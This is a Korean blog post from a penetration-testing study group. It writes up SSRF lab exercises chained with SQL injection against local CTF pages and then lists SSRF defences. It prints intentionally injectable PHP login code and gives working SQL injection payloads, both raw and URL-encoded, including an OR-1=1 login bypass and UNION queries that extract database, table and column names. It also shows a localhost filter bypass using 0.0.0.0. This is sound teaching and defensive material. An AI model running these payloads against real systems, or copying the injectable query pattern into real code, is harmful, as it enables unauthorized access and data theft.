Notice
Recent Posts
Recent Comments
Link
«   2026/06   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Archives
Today
Total
관리 메뉴

IT공부방 (정보보안)

모의해킹 취업반 스터디 9기 모의해킹 프로젝트 (2) SSRF 본문

정보보안 공부/모의해킹 스터디 9기

모의해킹 취업반 스터디 9기 모의해킹 프로젝트 (2) SSRF

mister jeon 2026. 3. 10. 21:53

다음은 SSRF 추가 실습을 통해 2가지 사례를 확인하고

대응방안까지 알아보겠습니다.

 

<실습2>

날씨 관련 페이지이며 관리자 계정으로 로그인을 할 방법이

있는지 확인해보겠습니다.

물론 바로 접속하면 관리자 페이지에 접속이 불가능 합니다.

다음은 날씨 현황을 체크할 수 있는 사이트가 있습니다.

서울 날씨를 확인하면 다음 사진과 같이 날씨 예보를 확인

할 수 있습니다.

 

burp 에서는 GET 메서드에 Apiurl을 사용자에게 보여주고 있습니다.

이것도 한번 악용하여 날씨관련 관리자 페이지에 접속을 해보겠습니다.

 

관리자 페이지를 엿볼수 있습니다.  하지만 이 상태로는

계정과 비밀번호를 모르기 때문에 로그인을 할 수 없었습니다.

 

그래서 URL를 http://127.0.0.1/ssrf_1/admin.php가 아닌

admin.php로 전송을 해보겠습니다.

admin.php로 전송하니 다음과 같이 소스코드가 보였습니다.

<?php
declare(strict_types=1);

require_once __DIR__ . '/../config.php';

header('Content-Type: text/html; charset=UTF-8');

function e(string $value): string
{
    return htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

$remoteAddr = $_SERVER['REMOTE_ADDR'] ?? '';

$allowedIps = ['127.0.0.1', '::1'];
$hasValidToken = hash_equals(appSsrf1InternalToken(), requestInternalToken());

if (!in_array($remoteAddr, $allowedIps, true) || !$hasValidToken) {
    http_response_code(403);
?>
<!doctype html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin 접근 차단</title>
    <style>
        body {
            margin: 0;
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Noto Sans KR", sans-serif;
            background: #0f172a;
            color: #e2e8f0;
            min-height: 100vh;
            display: grid;
            place-items: center;
        }
        .box {
            width: min(720px, calc(100vw - 40px));
            background: #1e293b;
            border-radius: 16px;
            padding: 28px;
        }
        h1 { margin: 0 0 10px; }
        p { margin: 0; color: #94a3b8; line-height: 1.6; }
    </style>
</head>
<body>
<section class="box">
    <h1>403 Forbidden</h1>
    <p>
        허용되지 않은 IP 주소입니다.<br>
        현재 접속 IP: <?= e($remoteAddr !== '' ? $remoteAddr : 'unknown') ?>
    </p>
</section>
</body>
</html>
<?php
    exit;
}

$dbHost = getenv('DB_HOST') ?: 'ctf-db';
$dbUser = getenv('DB_USER') ?: 'ctfuser';
$dbPass = getenv('DB_PASS') ?: 'ctfpass';
$dbName = getenv('DB_NAME') ?: 'CtfDB';

$username = (string)($_REQUEST['username'] ?? '');
$password = (string)($_REQUEST['password'] ?? '');

$message = null;
$isSuccess = false;
$note = '';

if ($username !== '' || $password !== '') {

    $conn = @new mysqli($dbHost, $dbUser, $dbPass, $dbName);

    if ($conn->connect_error) {
        $message = 'DB 연결 실패: ' . $conn->connect_error;
    } else {

        $sql = "
            SELECT username, role, secret_note
            FROM admin_users
            WHERE username='$username'
              AND password='$password'
            LIMIT 1
        ";

        $result = $conn->query($sql);

        if ($result && $result->num_rows > 0) {
            $row = $result->fetch_assoc();
            $isSuccess = true;
            $message = '로그인 성공';
            $note = (string)($row['secret_note'] ?? '');
        } else {
            $message = '로그인 실패';
        }

        $conn->close();
    }
}
?>
<!doctype html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Login</title>
</head>
<body>
    <!-- 기존 스타일 유지 가능 -->
</body>
</html>

이중 SQL 쿼리문에 Where username = '$username'

AND password ='$password' 이 부분에 SQL Injection 취약점이

있다는 것 을 알게되었습니다.

 

그래서 로그인 방법이 SQL injection를 이용한  URL를 다음과 같이

서버에 요청을 합니다.

http://127.0.0.1/ssrf_1/admin.php?username=admin'or'1'='1--&password=password

 

 그 결과 로그인에 성공 할 수 있었으며 플래그도 확보 할 수 있었습니다.

실습 2에서는 SSRF + SQL Injection 연계한

관리자 페이지에 접속이 었습니다.

 

<실습3>

다음은 헬스장에 관리지 페이지를 발견한 것 같습니다. 하지만 에러페이지와 함께 접속이 안되는 상황입니다.

다음 간단한 헬스 페이지를 구현한 모습입니다.

burp에서는 apiurl로 사용자에게 보여지고 있습니다. 

 

SSRF 취약점을 이용하여 dashborad.php를 확인하겠습니다.

 

Apiurl에 http://127.0.0.1/ssrf_3/dashborad.php  요청한 결과

127.0.0.1이 블랙리스트로 필터링이 되어있는 것 같습니다.

 그래서 우선 http://0.0.0.0/ssrf_3/dashboard.php 수정해서 dashboard.php를 활성화 시켜봤습니다. 그리고 나서 .dashboard.php

수정 요청해봤습니다.

 

확인하고 보니

$q = (string)($_GET['q'] ?? ''); 코드에 UNION SQL Injection

이 가능하도록 설계가 되있는 페이지인것 같습니다.

 

[취약한 쿼리문]

$sql = "SELECT id, service_name, health_status
FROM monitor_targets
WHERE service_name LIKE '%$q%'
ORDER BY id

[공격 Payload]

' UNION SELECT (SQL 쿼리문), null, null and '1%' like '1

[DB 이름 추출]

%' UNION SELECT (select database()), null, null and '1%' like '1

 

기존 http://0.0.0.0/ssrf_3/dashboard.php에 ?q= 데이터에

DB 이름을 추출 할 수 있는 페이로드를 사용합니다.

http://0.0.0.0/ssrf_3/dashboard.php?q=%'+UNION+SELECT+(select+database()),+null,+null+and+'1'+like+'1

하지만 이대로 사용하면 요청 실패로 나오게 됩니다. 

이유는 URL 에서 문자가 그대로 들어가는 것 을 허용하지 않기 때문에

인코딩을 사용하여 URL에 다시 요청 해야합니다.

 

[인코딩이 적용된 DB 이름 추출]

http%3A%2F%2F0.0.0.0%2Fssrf_3%2Fdashboard.php%3Fq%3D%25%27%2BUNION%2BSELECT%2B(select%2Bdatabase())%2C%2Bnull%2C%2Bnull%2Band%2B%271%27%2Blike%2B%271

DB 이름 CtfDB_SSRF3를 추출하였습니다.

[테이블 이름 찾기]

기존 공격 페이로드에  테이블 이름 찾는 코드와 DB이름을 추가하여

테이블 이름을 추출합니다. [인코딩 필수]

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'CtfDB_SSRF3' LIMIT 0, 1
--->
http://0.0.0.0/ssrf_3/dashboard.php?q=%'+UNION+SELECT+(SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=+'CtfDB_SSRF3'+LIMIT+0,+1),+null,+null+and+'1%'+like+'1

 

테이블 이름 [incident_vault]

[컬럼 이름 찾기]

역시 기존 공격 컬럼 이름  코드와 테이블 이름을 추가하여

컬럼을 추출 합니다. 

컬럼 이름 0 : id, 1 : memo, 2 : severity

%'+UNION+SELECT+(select+column_name+from+information_schema.columns+where+table_name=+'incident_vault'+LIMIT+0,+1),+null,+null+and+'1%'+like+'1
---->
http://0.0.0.0/ssrf_3/dashboard.php?q=%'+UNION+SELECT+(select+column_name+from+information_schema.columns+where+table_name=+'incident_vault'+LIMIT+0,+1),+null,+null+and+'1%'+like+'1

 

[데이터 추출] 

테이블 이름과 과 컬럼 이름을 찾았습니다.

마지막으로 FLAG 데이터를 추출해보겠습니다.

%' UNION SELECT (select memo from incident_vault), null, null and '1%' like '1
---->
http://0.0.0.0/ssrf_3/dashboard.php?q=%' UNION SELECT (select memo from incident_vault), null, null and '1%' like '1

드디어 SSRF3의 원하는 데이터를 찾을 수 있었습니다.

마지막으로 SSRF 대응방안으로  SSRF 마무리 해보겠습니다.

 

 

[SSRF 대응 방안] 

 

1. 외부 요청에 대해 사전에 허용된 URL 이나 IP 주소를

화이트리스트로 정의하여 허용된 대상에만 접근이

가능하도록 설정 해야합니다. 

 

2. 내부 네트워크 대역 및 관리용 포트에 대한 요청을 감지하고 차단

 

[차단 IP]

구분 IP 대역 설명
Loopback 127.0.0.0/8 로컬호스트(자기 자신)
Private Class A 10.0.0.0/8 사설망 대역
Private Class B 172.16.0.0/12 사설망 대역
Private Class C 192.168.0.0/16 사설망 대역
Link-Local 169.254.0.0/16 로컬 네트워크 자동 설정 대역
IPv6 Loopback ::1 IPv6 로컬호스트
IPv6 Unique Local fc00::/7 IPv6 사설망 대역

 

[포트서비스설명]

포트 서비스 설명
22 SSH 원격 서버 접속
3306 MySQL 데이터베이스
6379 Redis 인메모리 DB
9200 Elasticsearch 검색 엔진 / 로그 서버
11211 Memcached 캐시 서버

3. URL 접근에 실패할 경우 사용자에게 에러 정보나 응답값을

노출하지 않고, 일반적인 에러메시지 출력

 

bad Ex)  Connection refused at 127.0.0.1:3306

GOOD EX) 요청 처리 중 오류가 발생했습니다.

 

4. http, https 외의 다른 프로토콜 (FTP, SMB, SMTP 등)과

URL 스키마(file://, gopher://, data://, dict:// 등)에 대한 접근을

차단해야 하며, 내부 호스트명이 외부에 노출되지 않도록 DNS 설정을 조정

구분 프로토콜 설명
허용 http:// 일반 웹 통신 프로토콜
허용 https:// 암호화된 웹 통신 프로토콜

 

구분 프로토콜/스키마 위험 요소
차단 file:// 서버 내부 파일 접근 가능 (로컬 파일 유출 위험)
차단 gopher:// Redis 등 내부 서비스 공격에 악용 가능
차단 ftp:// 내부 네트워크 스캔 및 파일 접근 위험
차단 dict:// 포트 스캔 및 내부 서비스 탐지 가능
차단 data:// 임의 데이터 삽입 및 우회 공격 가능
차단 php:// PHP 내부 스트림 접근 악용 가능
차단 smb:// 내부 네트워크 공유 자원 접근 위험

5. 애플리케이션 서버와 중요 내부 시스템간 네트워크 분리를 통하여

불필요한 통신을 제한하여 권한 없는 접근 과 외부로부터의

직접적인 접근을 방지

 

 

하지만 URL 미리보기 서비스, 웹 크롤러 서비스, RSS 수집기,

외부 API 연동 플랫폼일 경우 화이트리스트를 적용할 경우

서비스에 제한이 생길 가능성이 있습니다.

그래서 블랙리스트 필터링을 적용할 수 밖에 없습니다.

 

1. 내부망 IP 차단

2. 메타데이터 IP 차단

3. 프로토콜 제한

4. Outbound 방화벽 제한

5. 리다이렉트(Redirect) 재 검증